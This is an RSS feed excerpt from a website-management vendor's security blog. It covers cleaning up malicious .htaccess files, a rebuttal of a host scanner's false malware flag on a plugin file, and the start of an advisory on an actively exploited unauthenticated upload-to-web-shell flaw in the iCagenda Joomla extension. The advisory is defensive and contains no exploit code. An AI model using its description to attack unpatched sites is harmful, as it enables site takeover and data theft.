&lt;p&gt;On a Joomla site, the &lt;code&gt;.htaccess&lt;/code&gt; files that belong there are the root file and the hardening files written by Joomla and Akeeba’s tools. The root &lt;code&gt;/.htaccess&lt;/code&gt;, renamed from Joomla’s shipped &lt;code&gt;htaccess.txt&lt;/code&gt;, drives &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;SEF URLs&lt;/a&gt; and has a set of rules to block common exploits. Delete it and your search-engine-friendly URLs stop resolving.&lt;/p&gt;
&lt;p&gt;Akeeba Backup writes a protective &lt;code&gt;.htaccess&lt;/code&gt; into its backup output directory, &lt;code&gt;administrator/components/com_akeebabackup/backups&lt;/code&gt;, specifically to stop anyone downloading your backup archives over the web. Those archives contain a full database dump and your configuration secrets, so that one file matters a great deal. mySites.guru preserves the whole Akeeba component and plugin family, plus &lt;code&gt;/administrator/.htaccess&lt;/code&gt; and the &lt;code&gt;/plugins&lt;/code&gt; and &lt;code&gt;/libraries&lt;/code&gt; guards, and deletes the rest.&lt;/p&gt;
&lt;h2&gt;Which .htaccess files are legitimate on a WordPress site?&lt;/h2&gt;
&lt;p&gt;On a WordPress site, the legitimate &lt;code&gt;.htaccess&lt;/code&gt; files are the root permalink file and a few security guards. The root &lt;code&gt;/.htaccess&lt;/code&gt; contains the &lt;code&gt;# BEGIN WordPress&lt;/code&gt; block that routes every pretty permalink through &lt;code&gt;index.php&lt;/code&gt;. Remove it and only your homepage resolves, while every post and page returns a 404.&lt;/p&gt;
&lt;p&gt;The other files worth keeping are written by security plugins and core. &lt;code&gt;/wp-content/uploads/.htaccess&lt;/code&gt; is the deny-PHP guard that Wordfence and similar tools install to stop an uploaded &lt;code&gt;.php&lt;/code&gt; file from executing, which is one of the most important hardening files on the whole site. Akismet ships its own &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/wp-content/plugins/akismet&lt;/code&gt;. mySites.guru keeps the root file, &lt;code&gt;/wp-admin&lt;/code&gt;, &lt;code&gt;/wp-content&lt;/code&gt;, the uploads guard, the plugins folder and the Akismet file, and clears away everything else.&lt;/p&gt;
&lt;h2&gt;Run a full audit after the cleanup&lt;/h2&gt;
&lt;p&gt;Deleting the malicious &lt;code&gt;.htaccess&lt;/code&gt; files cleans up the symptom, not the cause. If a backdoor planted them, it can plant them again, so the bulk delete is one step in a wider clean-up rather than the end of it. After you have removed the stray files, run a fresh audit and work through the rest of the results.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content check&lt;/a&gt; flags PHP files containing the obfuscation and injection patterns a backdoor uses. The core-file check tells you which of your WordPress or Joomla files differ from the official release, which is how you spot a modified &lt;code&gt;index.php&lt;/code&gt; or a planted shell. Together they help you find the thing that wrote 9,000 &lt;code&gt;.htaccess&lt;/code&gt; files in the first place. If you are not certain whether your site is compromised at all, start with our guide on &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;whether your site is hacked&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full hacked-site cleanup process&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;mySites.guru manages this across every site you own from one dashboard. You can run the audit, see the &lt;code&gt;.htaccess&lt;/code&gt; count, clear the stray files and check for the backdoor without logging into a single site individually. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start a free audit&lt;/a&gt; and see what is hiding in your webspace.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2024/03/what-is-htaccess-malware-detection-symptoms-prevention.html&quot;&gt;What is .htaccess Malware? (Detection, Symptoms &amp;amp; Prevention)&lt;/a&gt; - Sucuri’s breakdown of how attackers scatter malicious .htaccess files across a site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jetpack.com/blog/how-malware-can-abuse-the-htaccess-file/&quot;&gt;How Malware Can Abuse the .htaccess File&lt;/a&gt; - Jetpack on the redirect, cloaking and injection techniques these files use.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot;&gt;Apache .htaccess documentation&lt;/a&gt; - the official reference for what per-directory configuration files can and cannot do.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/server/web-server/httpd/&quot;&gt;WordPress .htaccess in the official server guide&lt;/a&gt; - the official &lt;code&gt;# BEGIN WordPress&lt;/code&gt; permalink block, so you can recognise the legitimate root file.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>htaccess</category><category>hacked</category><category>malware</category><category>security audit</category><category>file cleanup</category><enclosure url="https://mysites.guru/img/og/blog/delete-malicious-htaccess-files-bulk.png" length="0" type="image/png"/></item><item><title>OVH Flagged Our Plugin as Malware. It Is Not, and Here Is the Proof.</title><link>https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/</link><guid isPermaLink="true">https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/</guid><description>OVH&apos;s scanner flagged our legitimate bfRestore.php file as malware and cut outgoing connections and email across whole hosting plans. Here is why it is safe.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you have had an email from OVH this week telling you there is malware on your hosting, and the file it named ends in &lt;code&gt;bfnetwork/bfRestore.php&lt;/code&gt;, take a breath. That file is ours, it is legitimate, and your site has not been hacked. OVH’s scanner made a mistake, and then made a far bigger one in how it reacted to that mistake.&lt;/p&gt;
&lt;p&gt;The email looks alarming on purpose. It says malware was detected, that outgoing requests and PHP email have been blocked “as a protection measure,” and it lists a single file:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;OVH&apos;s email&lt;/p&gt;&lt;div&gt;&lt;p&gt;&lt;code&gt;/homez.xxx/yourname/www/plugins/system/bfnetwork/bfnetwork/bfRestore.php&lt;/code&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That file is part of the connector plugin that mySites.guru installs to manage your Joomla site. It is not malware. Below is exactly what it does, why an automated scanner trips on it, and how to get your sites working again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_Z2bfAWf.webp&quot; srcset=&quot;https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_Z5SuWX.webp 640w, https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_Z1dKa3O.webp 750w, https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_ZOjLwH.webp 828w, https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_kYBni.webp 1080w, https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_6gTKW.webp 1280w, https://mysites.guru/_astro/ovh-email-flagged-bfrestore.CmjAcwhC_Z2bfAWf.webp 1290w&quot; alt=&quot;The OVHcloud email flagging mySites.guru&apos;s bfRestore.php as malware. It says outgoing requests and PHP email have been blocked on the whole hosting plan as a protection measure, and lists the single file plugins/system/bfnetwork/bfnetwork/bfRestore.php as the detected malicious file.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1290px) 1290px, 100vw&quot; width=&quot;1290&quot; height=&quot;1892&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What bfRestore.php actually is&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;bfnetwork&lt;/code&gt; plugin is &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;how mySites.guru talks to your Joomla site&lt;/a&gt; to run audits, take backups, apply updates, and restore from a backup when something goes wrong. It has been published openly under the GPL, the same licence as Joomla itself, for well over a decade. You can read every line of it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bfRestore.php&lt;/code&gt; is one of the smallest files in that plugin. Its entire job is to act as a bridge. When you ask mySites.guru to restore a site, this file receives a password-protected request and then hands the work over to Joomla’s own restore code. Here is the part that matters, lifted straight from the file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ($_REQUEST[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;!==&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; $_REQUEST[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;task&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;!==&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    echo&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;###&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;file_exists&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;dirname&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__FILE__&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; 5&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/administrator/components/com_joomlaupdate/extract.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        require&lt;/span&gt;&lt;span&gt; dirname&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;__FILE__&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; 5&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/administrator/components/com_joomlaupdate/extract.php&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        die&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read what that does. It checks for a password. If the password is missing, the file does nothing and returns a 404. If the password is present, it loads &lt;code&gt;com_joomlaupdate/extract.php&lt;/code&gt; and lets that do the actual extraction.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com_joomlaupdate/extract.php&lt;/code&gt; is Joomla’s, not ours. It is the official extraction engine that ships inside every copy of Joomla, in the core Joomla Update component, copyright Open Source Matters. It is the exact code Joomla runs when you click “Update” in the administrator. So the file OVH calls malware is a password-protected doorway to Joomla’s own updater.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The short version&lt;/p&gt;&lt;div&gt;&lt;p&gt;If &lt;code&gt;bfRestore.php&lt;/code&gt; is malware, then so is the update button in every Joomla site on the planet, because they run the same extraction code. OVH’s own customers running stock Joomla are using that engine every time they update.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why an automated scanner gets this wrong&lt;/h2&gt;
&lt;p&gt;Signature and heuristic scanners do not understand code. They pattern-match. They look for words and shapes that appear in known-bad files: references to extracting archives, writing files, changing permissions, decoding data, calling out to the network. The problem is that legitimate backup and restore tools do exactly those things, because that is literally what a backup tool is for.&lt;/p&gt;
&lt;p&gt;This is not a controversial point. Akeeba, who build the most widely used backup tool in the Joomla world, &lt;a href=&quot;https://www.akeeba.com/documentation/akeeba-backup-joomla/security-scanner-false-positives.html&quot;&gt;document the same problem on their own site&lt;/a&gt;. Their restore code uses standard PHP functions like &lt;code&gt;base64_decode&lt;/code&gt; and &lt;code&gt;unpack&lt;/code&gt; to handle binary backup data, and scanners flag it, because malware authors use the same functions. The only way to scan source code for malice without false positives is to have an experienced human read every line, and no automated host scanner does that.&lt;/p&gt;
&lt;p&gt;So when OVH’s scanner saw a file that takes a request, checks a password, and then runs an extraction engine, it pattern-matched on “extraction” and decided it had found something dangerous. It had not. It found a backup tool doing what backup tools do.&lt;/p&gt;
&lt;p&gt;We see the other side of this every day. Our &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content scanner&lt;/a&gt; flags files too, on purpose, using over 2,000 hand-written patterns, because casting a wide net is how you avoid missing the one file that matters. The difference is what happens next. A flag in mySites.guru is an invitation to look closer. We tell you which lines matched, let you &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;send the file to AI malware analysis&lt;/a&gt; for a second opinion, and let you compare it against the original. A flag is the start of an investigation. For OVH, the flag was the end of one.&lt;/p&gt;
&lt;h2&gt;The real problem is what OVH did next&lt;/h2&gt;
&lt;p&gt;Finding a false positive is forgivable. Every scanner produces them. What is not forgivable is the response.&lt;/p&gt;
&lt;p&gt;OVH did not quarantine the single file it objected to. It did not move &lt;code&gt;bfRestore.php&lt;/code&gt; aside and leave everything else running. Instead, according to &lt;a href=&quot;https://docs.ovhcloud.com/en/web-cloud/web-hosting/resolve-anomalous-activity/&quot;&gt;OVH’s own documentation&lt;/a&gt;, when its scanner flags a file as malware it can disable three things across the whole hosting plan at once:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Website access&lt;/li&gt;
&lt;li&gt;Email sending via PHP&lt;/li&gt;
&lt;li&gt;Outgoing requests (what OVH calls TCP OUT)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So one wrong guess about one file took out outgoing connections and PHP email for every website on that plan. Not the file. Not the site the file was on. Everything.&lt;/p&gt;
&lt;p&gt;If you run more than one site on an OVH hosting plan, picture what that means. A scanner misreads a backup helper on one site, and suddenly none of your sites can send an email or reach the internet. The customer did nothing wrong. The file did nothing wrong. What breaks is the entire plan.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This is not security, it is collateral damage&lt;/p&gt;&lt;div&gt;&lt;p&gt;A competent host quarantines the specific file it objects to and tells you exactly which one, so you can review it and restore it if it is a false positive. Cutting all outbound traffic and email for every site on the plan, over one heuristic guess, is a blunt instrument that does more harm than the imaginary threat it is responding to.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;We tried to fix this at source, and OVH would not engage&lt;/h2&gt;
&lt;p&gt;The obvious thing to do, once we knew OVH’s scanner was misreading our file, was to talk to OVH directly. We are the software provider. We can show them the source, explain what the file does, and ask them to stop flagging it for every customer at once. That is how you fix a false positive properly: at the source, so no one else gets hit.&lt;/p&gt;
&lt;p&gt;We tried. OVH would not discuss it with us, because we are not an OVH customer. From their side, a vendor whose legitimate file their scanner is breaking has no standing to raise it. There is no channel for “your detection is wrong, here is the proof, please correct it.” You have to be the bill-payer on the affected plan to get anyone to listen, and even then, see below.&lt;/p&gt;
&lt;p&gt;So the affected customers tried, publicly, on X. The replies were the same first-line script every time: sorry for the difficulty, please send your customer ID and account details by private message, please open a support ticket so a technician can look. Polite, scripted, and going nowhere. No one at OVH would look at the file itself, acknowledge that the detection was wrong, or take ownership of correcting it centrally. Each customer was funnelled back into the same self-certify loop, told in effect to prove their own innocence one account at a time.&lt;/p&gt;
&lt;p&gt;That is the part that turns a forgivable false positive into a real failure. A scanner getting something wrong is a bug. Having no way for the wronged party to report it, no human willing to take ownership, and a support process that resets to line one no matter how many people raise the same issue, is a choice. The result is that every affected customer has to take manual action on their own plan, repeatedly, while the underlying detection stays broken and waits to fire again.&lt;/p&gt;
&lt;h2&gt;What breaks when outgoing connections and PHP mail are blocked&lt;/h2&gt;
&lt;p&gt;The OVH email frames the block as protection. In practice it breaks the things your sites rely on every day. With outgoing requests and PHP email disabled, here is what stops working:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Contact and enquiry forms.&lt;/strong&gt; They submit, the visitor sees a thank-you, and the email never arrives. You lose leads and never know it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password reset emails.&lt;/strong&gt; Users get locked out of their own accounts because the reset email cannot be sent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Order and e-commerce emails.&lt;/strong&gt; Order confirmations, invoices, and shipping notices vanish. Customers think you have taken their money and disappeared.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update checks.&lt;/strong&gt; Joomla’s “Check for Updates” and WordPress’s update API both need outbound HTTPS. Block that, and your sites stop seeing security patches. The irony of a “security measure” that stops you receiving security updates writes itself. If your Joomla updates start failing too, our guide on the &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;“offered update has expired” error&lt;/a&gt; helps you tell a network block apart from a real TUF problem.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payment gateway callbacks.&lt;/strong&gt; Stripe webhooks, PayPal IPNs, and similar server-to-server messages cannot get through, so payments and subscriptions break.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Everything that calls an API.&lt;/strong&gt; reCAPTCHA verification, maps, CRM and newsletter sync, and remote management tools like ours all need to reach the outside world.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Many sites send their mail through PHP, which is exactly the path OVH blocks. If your forms or password resets have gone quiet, our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;verifying your Joomla email configuration&lt;/a&gt; walks you through confirming whether mail is the problem.&lt;/p&gt;
&lt;h2&gt;We are not the only ones, and that is the point&lt;/h2&gt;
&lt;p&gt;If this were a one-off misfire on a single obscure file, you could shrug it off. It is not.&lt;/p&gt;
&lt;p&gt;In the same week, on the same OVH hosting clusters, the same scanner flagged a completely different legitimate file: Akeeba Backup’s &lt;code&gt;kickstart.txt&lt;/code&gt;. The pattern was identical. OVH detected the file, decided it was malware, and blocked outgoing connections and PHP email across the affected Joomla sites. Joomla developers reported it &lt;a href=&quot;https://forum.joomla.fr/forum/joomla-6-x/extensions-tierces-ac/2075294-akeebab-ovh-kickstart-txt&quot;&gt;on the Joomla.fr forum&lt;/a&gt; on the 17th and 18th of June 2026, days before our customers were hit.&lt;/p&gt;
&lt;p&gt;Two of the most widely used, openly published, GPL-licensed tools in the Joomla ecosystem, both flagged as malware by the same host’s scanner, within days of each other. That is not a coincidence and it is not a problem with the tools: it is a scanner that cannot tell legitimate backup code from a threat, attached to an automatic response that breaks customer sites first and asks questions never.&lt;/p&gt;
&lt;p&gt;It is not only OVH, either. SiteGround’s Anti-Bot AI does its own version of this, &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;serving our monitoring worker a captcha challenge instead of your site&lt;/a&gt;. Different host, different mechanism, same outcome: a legitimate, published, fixed IP treated as a threat, with the job of fixing it left to you.&lt;/p&gt;
&lt;h2&gt;What to do if OVH has blocked your plan&lt;/h2&gt;
&lt;p&gt;You do not need to delete anything. Deleting &lt;code&gt;bfRestore.php&lt;/code&gt; only stops mySites.guru from managing, backing up, and restoring that site. The file is safe. Here is the fix:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Read the file path in OVH’s email.&lt;/strong&gt; If it ends in &lt;code&gt;bfnetwork/bfRestore.php&lt;/code&gt;, it is the legitimate connector. Leave it where it is.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Log in to your OVH control panel&lt;/strong&gt; and open the affected Web Hosting plan. You will see an alert headed “Abnormal Activity on Your Hosting” with a button to lift the security measures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tick the confirmation box and lift the security measures.&lt;/strong&gt; OVH re-scans, and your outgoing connections and PHP email come back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify it worked.&lt;/strong&gt; Send a test through a contact form, run Joomla’s “Check for Updates,” and confirm a password reset email arrives.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If OVH re-blocks the plan, open a ticket and ask them to whitelist the specific file rather than block the whole plan. You are not asking for a favour: you are asking them to fix a false positive in their scanner instead of breaking your sites over it.&lt;/p&gt;
&lt;h2&gt;How we help you tell a false positive from a real hack&lt;/h2&gt;
&lt;p&gt;The hardest part of a moment like this is the doubt. When a host emails you the word “malware,” you want to be certain before you trust a file. That is exactly the certainty mySites.guru is built to give you.&lt;/p&gt;
&lt;p&gt;When our audit flags a file, we do not leave you guessing. We show you the lines that matched, so you can read them yourself. We let you &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;send the file to AI analysis&lt;/a&gt; for a safe, suspicious, or malicious verdict with the problem lines pointed out. And for files like core Joomla code, we can compare what is on your server against the known-good original, byte for byte, so you can see for certain whether anything has actually changed. If you ever do find a real compromise, our &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walk you through the cleanup, and our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; checks every file in your webspace, including ones a signature database does not know about.&lt;/p&gt;
&lt;p&gt;That is the difference between a flag and a verdict. A scanner that pattern-matches and then cuts off your whole hosting plan has given you a verdict it has no business issuing. A tool that flags, explains, and lets you confirm has given you a flag you can actually act on.&lt;/p&gt;
&lt;p&gt;Your &lt;code&gt;bfRestore.php&lt;/code&gt; is fine. OVH’s reaction to it was not.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.ovhcloud.com/en/web-cloud/web-hosting/resolve-anomalous-activity/&quot;&gt;OVH: How to react to abnormal activity detected on your web hosting&lt;/a&gt; - OVH’s own documentation of the block-and-self-certify process.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/akeeba-backup-joomla/security-scanner-false-positives.html&quot;&gt;Akeeba: Security scanners reporting Akeeba Backup as malware&lt;/a&gt; - why legitimate backup and restore code triggers scanners.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.joomla.fr/forum/joomla-6-x/extensions-tierces-ac/2075294-akeebab-ovh-kickstart-txt&quot;&gt;Joomla.fr forum: OVH flagging Akeeba kickstart.txt&lt;/a&gt; - the same scanner hitting a different legitimate file in the same week.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.malwarebytes.com/blog/news/2017/09/explained-false-positives&quot;&gt;Malwarebytes Labs: Explained, false positives&lt;/a&gt; - how heuristic and signature scanners flag harmless files.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Joomla_Update_Problems&quot;&gt;Joomla documentation: Joomla Update Problems&lt;/a&gt; - why blocking outbound HTTPS stops update checks.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Joomla</category><category>Security</category><category>Malware</category><category>Hosting</category><enclosure url="https://mysites.guru/img/og/blog/ovh-flagged-our-plugin-as-malware.png" length="0" type="image/png"/></item><item><title>Zero Day Vulnerability Found in iCagenda Joomla Extension</title><link>https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/</guid><description>mySites.guru found and confirmed an unauthenticated upload giving remote code execution on Joomla 6 sites running iCagenda. Fixed same-day in 4.0.8.</description><pubDate>Mon, 15 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Update note (August 2026): since this post went out, iCagenda has had more security releases (4.0.12, 4.0.13 and 3.9.16 among them) that fix separate vulnerabilities other researchers reported, including an &lt;a href=&quot;https://mysites.guru/blog/icagenda-calendar-module-sql-injection/&quot;&gt;unauthenticated SQL injection in the Calendar module&lt;/a&gt; scored 9.2. Those are not the file upload RCE covered below. Do not treat 4.0.8 as the version to be on any more: check &lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;icagenda.com&lt;/a&gt; for the current release and run that, because more security fixes may well have shipped by the time you are reading this.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;A client forwarded us an access log on a Sunday morning with one line that mattered. A bot, calling itself &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;, had posted something to their Joomla site and then immediately gone looking for a &lt;code&gt;.php&lt;/code&gt; file in the events component’s upload folder. That is the shape of an attack that already knows it has won. By the end of the day we had confirmed a critical zero day in &lt;a href=&quot;https://www.icagenda.com/&quot;&gt;iCagenda&lt;/a&gt;, reproduced it from start to finish, reported it to the developer, and the developer had shipped a fix.&lt;/p&gt;
&lt;p&gt;iCagenda is a popular events and calendar component for Joomla, by JoomliC. The flaw let anyone, with no login at all, reach the code behind the public event submission form. On Joomla 6 that meant uploading a PHP web shell and running it, which is remote code execution: full control to steal data, deface pages, plant backdoors, or use the server to attack other people. The component versions affected were every release up to and including 4.0.7, which was the latest that morning. The developer’s own advisory later scoped the upload-to-shell to Joomla 6 specifically, because earlier Joomla versions block unsafe file uploads in core by default. It was already being exploited in the wild, which is what makes it a zero day rather than a quiet finding.&lt;/p&gt;
&lt;p&gt;The patch is &lt;a href=&quot;https://www.icagenda.com/#download&quot;&gt;iCagenda 4.0.8&lt;/a&gt;, released on 15 June 2026, with 3.9.15 following the next day for the legacy branch. If you run any Joomla site with iCagenda installed, update it now, then read on for what the bug actually did and how to check whether you were already hit.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48939/&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/strong&gt; - CVSS 4.0 score: &lt;strong&gt;10.0 Critical&lt;/strong&gt; (CWE-284: Improper Access Control)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated file upload to remote code execution&lt;/strong&gt; in iCagenda’s frontend event submission form, no login required. Per JoomliC, the upload-to-shell triggers on &lt;strong&gt;Joomla 6&lt;/strong&gt; only, because earlier Joomla versions block unsafe uploads in core by default&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;second, lower-severity issue&lt;/strong&gt; in the same submit flow let guests create unapproved events with no login on &lt;strong&gt;every Joomla version&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Affects iCagenda &lt;strong&gt;3.2.1 up to and including 3.9.14&lt;/strong&gt; (3.x line) and &lt;strong&gt;every 4.x release up to and including 4.0.7&lt;/strong&gt;. Fixed in &lt;strong&gt;4.0.8&lt;/strong&gt; (released 15 June 2026) and &lt;strong&gt;3.9.15&lt;/strong&gt; (released 16 June 2026)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Already exploited in the wild&lt;/strong&gt; when we found it, by an automated scanner identifying as &lt;code&gt;icagenda-batch/1.0&lt;/code&gt;. JoomliC reports automated attacks running since 15 June 2026, 8am UTC&lt;/li&gt;
&lt;li&gt;We confirmed it by code review, reproduced the upload-to-shell end to end on Joomla 6, and sent the developer a safe proof of concept. &lt;strong&gt;JoomliC shipped the fix the same day&lt;/strong&gt;, and we reviewed the new code to confirm it is real&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 4.0.8 (or 3.9.15 if on the legacy branch) on every affected site, then check for compromise.&lt;/strong&gt; Unpublishing the component does not protect you&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;This is a fast-moving disclosure. The fix exists, but the full technical detail is going public now, which means opportunistic scanners will know exactly what to look for. The sites that get caught are the ones still on an old version when that happens. Update to 4.0.8 before you do anything else.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How to Check Your Joomla Sites for iCagenda with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a zero day drops in a component that could be on dozens of your client sites, the first question is always the same: which of my sites are running it, and on what version? If you manage 50 or 200 Joomla sites, logging into each admin to check the iCagenda version is not realistic. The bots do not wait for you to finish the list.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The extension search shows you every site running iCagenda, grouped by version, in seconds. Filter for anything below 4.0.8 and you have your work list.&lt;/p&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 4.0.8 across every affected site in one batch instead of a day of logging into admin panels one at a time. A zero day becomes a triage you finish over a coffee.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The extension index builds automatically on the first snapshot, and you will know straight away which sites are exposed.&lt;/p&gt;
&lt;h2&gt;What the Bug Actually Did&lt;/h2&gt;
